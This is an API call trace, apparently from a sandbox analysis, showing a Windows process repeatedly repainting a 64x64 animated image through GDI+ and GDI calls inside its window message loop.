[0144.961] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.962] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0144.962] GdipCreateRegion (region=0x15dc20) returned 0x0 [0144.962] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0144.962] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0144.962] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0144.962] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.962] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.962] GetSystemMetrics (nIndex=42) returned 0 [0144.962] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.962] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.962] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.962] CoTaskMemFree (pv=0x1e91eca0) [0144.962] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0144.962] GdipCreateRegion (region=0x15d710) returned 0x0 [0144.962] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0144.962] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0144.963] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0144.963] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0144.963] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.963] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.963] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.963] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0144.963] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0144.964] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0144.964] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0144.964] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.964] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0144.964] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0144.964] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0144.964] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0144.964] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.964] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0144.965] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0144.965] GetCurrentObject (hdc=0x37010b91, type=0x1) returned 0x1b00017 [0144.965] GetCurrentObject (hdc=0x37010b91, type=0x2) returned 0x1900010 [0144.965] GetCurrentObject (hdc=0x37010b91, type=0x7) returned 0x1a05067e [0144.965] GetCurrentObject (hdc=0x37010b91, type=0x6) returned 0x18a002e [0144.965] SaveDC (hdc=0x37010b91) returned 1 [0144.965] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd80407c3 [0144.965] GetClipRgn (hdc=0x37010b91, hrgn=0xffffffffd80407c3) returned 0 [0144.965] SelectClipRgn (hdc=0x37010b91, hrgn=0xffffffffa8040b8a) returned 2 [0144.965] DeleteObject (ho=0xffffffffd80407c3) returned 1 [0144.965] DeleteObject (ho=0xffffffffa8040b8a) returned 1 [0144.965] OffsetViewportOrgEx (in: hdc=0x37010b91, x=0, y=0, lppt=0x26dff98 | out: lppt=0x26dff98) returned 1 [0144.965] GetNearestColor (hdc=0x37010b91, color=0xffffff) returned 0xffffff [0144.966] CreateSolidBrush (color=0xffffff) returned 0xffffffffb0100190 [0144.966] FillRect (hDC=0x37010b91, lprc=0x15d7c0, hbr=0xffffffffb0100190) returned 1 [0144.966] DeleteObject (ho=0xffffffffb0100190) returned 1 [0144.966] RestoreDC (hdc=0x37010b91, nSavedDC=-1) returned 1 [0144.966] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.966] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x37010b91) returned 0x0 [0144.966] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc860dbd) returned 0x0 [0144.966] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.966] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0144.966] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0144.966] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0144.967] GetSystemMetrics (nIndex=42) returned 0 [0144.967] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0144.967] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0144.967] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0144.967] CoTaskMemFree (pv=0x1e91eca0) [0144.967] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0144.967] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0144.967] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0144.967] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0144.967] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x37010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0144.967] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.967] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x37010b91) returned 0x0 [0144.967] SelectObject (hdc=0x37010b91, h=0x185000f) returned 0x1a05067e [0144.967] DeleteDC (hdc=0x37010b91) returned 1 [0144.968] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0144.968] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0144.968] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0144.968] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0144.968] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.968] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0144.968] WaitMessage () returned 1 [0145.134] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.134] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.134] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.134] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.134] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.134] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0145.134] GetCurrentThreadId () returned 0xec0 [0145.134] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0145.134] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.134] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.134] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.135] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.135] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.135] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0145.135] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0145.135] CreateCompatibleDC (hdc=0x3010b83) returned 0x38010b91 [0145.135] SelectObject (hdc=0x38010b91, h=0x1a05067e) returned 0x185000f [0145.135] GdipCreateFromHDC (hdc=0x38010b91, graphics=0x15daf0) returned 0x0 [0145.135] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0145.135] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0145.135] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0145.135] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0145.135] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0145.135] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.136] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0145.136] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.136] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.136] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0145.136] GdipCreateRegion (region=0x15dc20) returned 0x0 [0145.136] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0145.137] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0145.137] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0145.137] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.137] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.137] GetSystemMetrics (nIndex=42) returned 0 [0145.137] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.137] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.137] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.137] CoTaskMemFree (pv=0x1e91eca0) [0145.137] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0145.137] GdipCreateRegion (region=0x15d710) returned 0x0 [0145.137] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0145.137] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0145.137] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0145.138] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0145.138] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.138] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.138] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.138] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0145.138] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.138] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.146] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.146] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.146] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0145.146] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0145.146] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0145.146] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0145.147] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.147] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0145.147] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0145.147] GetCurrentObject (hdc=0x38010b91, type=0x1) returned 0x1b00017 [0145.147] GetCurrentObject (hdc=0x38010b91, type=0x2) returned 0x1900010 [0145.147] GetCurrentObject (hdc=0x38010b91, type=0x7) returned 0x1a05067e [0145.147] GetCurrentObject (hdc=0x38010b91, type=0x6) returned 0x18a002e [0145.147] SaveDC (hdc=0x38010b91) returned 1 [0145.147] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffa9040b8a [0145.147] GetClipRgn (hdc=0x38010b91, hrgn=0xffffffffa9040b8a) returned 0 [0145.147] SelectClipRgn (hdc=0x38010b91, hrgn=0xffffffffd90407c3) returned 2 [0145.147] DeleteObject (ho=0xffffffffa9040b8a) returned 1 [0145.148] DeleteObject (ho=0xffffffffd90407c3) returned 1 [0145.148] OffsetViewportOrgEx (in: hdc=0x38010b91, x=0, y=0, lppt=0x26e08d0 | out: lppt=0x26e08d0) returned 1 [0145.148] GetNearestColor (hdc=0x38010b91, color=0xffffff) returned 0xffffff [0145.148] CreateSolidBrush (color=0xffffff) returned 0xffffffffb1100190 [0145.148] FillRect (hDC=0x38010b91, lprc=0x15d7c0, hbr=0xffffffffb1100190) returned 1 [0145.148] DeleteObject (ho=0xffffffffb1100190) returned 1 [0145.148] RestoreDC (hdc=0x38010b91, nSavedDC=-1) returned 1 [0145.148] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.148] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x38010b91) returned 0x0 [0145.148] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc840dbd) returned 0x0 [0145.148] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.148] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0145.149] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.149] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.149] GetSystemMetrics (nIndex=42) returned 0 [0145.149] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.149] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.149] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.149] CoTaskMemFree (pv=0x1e91eca0) [0145.149] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0145.151] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0145.151] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0145.151] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0145.152] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0145.152] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x38010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0145.152] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.152] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x38010b91) returned 0x0 [0145.152] SelectObject (hdc=0x38010b91, h=0x185000f) returned 0x1a05067e [0145.152] DeleteDC (hdc=0x38010b91) returned 1 [0145.152] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.152] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0145.152] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0145.152] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0145.152] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.153] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.153] WaitMessage () returned 1 [0145.308] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.308] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.309] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.309] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.309] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.309] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0145.309] GetCurrentThreadId () returned 0xec0 [0145.309] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0145.309] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.309] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.309] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.309] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.309] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.309] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0145.310] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0145.310] CreateCompatibleDC (hdc=0x3010b83) returned 0x39010b91 [0145.310] SelectObject (hdc=0x39010b91, h=0x1a05067e) returned 0x185000f [0145.310] GdipCreateFromHDC (hdc=0x39010b91, graphics=0x15daf0) returned 0x0 [0145.310] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0145.310] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0145.310] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0145.310] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0145.310] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0145.310] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.310] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0145.311] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.311] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.311] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0145.311] GdipCreateRegion (region=0x15dc20) returned 0x0 [0145.312] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0145.312] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0145.312] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0145.312] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.312] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.312] GetSystemMetrics (nIndex=42) returned 0 [0145.312] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.312] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.312] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.312] CoTaskMemFree (pv=0x1e91eca0) [0145.312] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0145.313] GdipCreateRegion (region=0x15d710) returned 0x0 [0145.313] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0145.313] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0145.313] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0145.313] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0145.313] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.313] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.314] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.314] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0145.314] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.314] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.314] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.314] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.314] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0145.315] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0145.315] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0145.315] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0145.315] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.315] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0145.315] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0145.315] GetCurrentObject (hdc=0x39010b91, type=0x1) returned 0x1b00017 [0145.315] GetCurrentObject (hdc=0x39010b91, type=0x2) returned 0x1900010 [0145.315] GetCurrentObject (hdc=0x39010b91, type=0x7) returned 0x1a05067e [0145.315] GetCurrentObject (hdc=0x39010b91, type=0x6) returned 0x18a002e [0145.315] SaveDC (hdc=0x39010b91) returned 1 [0145.316] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffda0407c3 [0145.316] GetClipRgn (hdc=0x39010b91, hrgn=0xffffffffda0407c3) returned 0 [0145.316] SelectClipRgn (hdc=0x39010b91, hrgn=0xffffffffaa040b8a) returned 2 [0145.316] DeleteObject (ho=0xffffffffda0407c3) returned 1 [0145.316] DeleteObject (ho=0xffffffffaa040b8a) returned 1 [0145.316] OffsetViewportOrgEx (in: hdc=0x39010b91, x=0, y=0, lppt=0x26e1bd8 | out: lppt=0x26e1bd8) returned 1 [0145.316] GetNearestColor (hdc=0x39010b91, color=0xffffff) returned 0xffffff [0145.316] CreateSolidBrush (color=0xffffff) returned 0xffffffffb2100190 [0145.316] FillRect (hDC=0x39010b91, lprc=0x15d7c0, hbr=0xffffffffb2100190) returned 1 [0145.316] DeleteObject (ho=0xffffffffb2100190) returned 1 [0145.317] RestoreDC (hdc=0x39010b91, nSavedDC=-1) returned 1 [0145.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.317] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x39010b91) returned 0x0 [0145.317] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc820dbd) returned 0x0 [0145.317] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.317] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0145.317] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.317] GetSystemMetrics (nIndex=42) returned 0 [0145.317] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.317] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.318] CoTaskMemFree (pv=0x1e91eca0) [0145.318] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0145.318] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0145.318] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0145.318] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0145.318] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x39010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0145.318] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.318] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x39010b91) returned 0x0 [0145.318] SelectObject (hdc=0x39010b91, h=0x185000f) returned 0x1a05067e [0145.318] DeleteDC (hdc=0x39010b91) returned 1 [0145.318] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.319] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0145.319] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0145.319] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0145.319] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.319] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.319] WaitMessage () returned 1 [0145.448] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.448] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.449] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.449] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.449] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.449] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0145.449] GetCurrentThreadId () returned 0xec0 [0145.449] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0145.449] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.449] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.449] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.449] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.449] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.450] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0145.450] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0145.450] CreateCompatibleDC (hdc=0x3010b83) returned 0x3a010b91 [0145.450] SelectObject (hdc=0x3a010b91, h=0x1a05067e) returned 0x185000f [0145.450] GdipCreateFromHDC (hdc=0x3a010b91, graphics=0x15daf0) returned 0x0 [0145.451] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0145.451] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0145.451] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0145.451] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0145.451] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0145.451] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 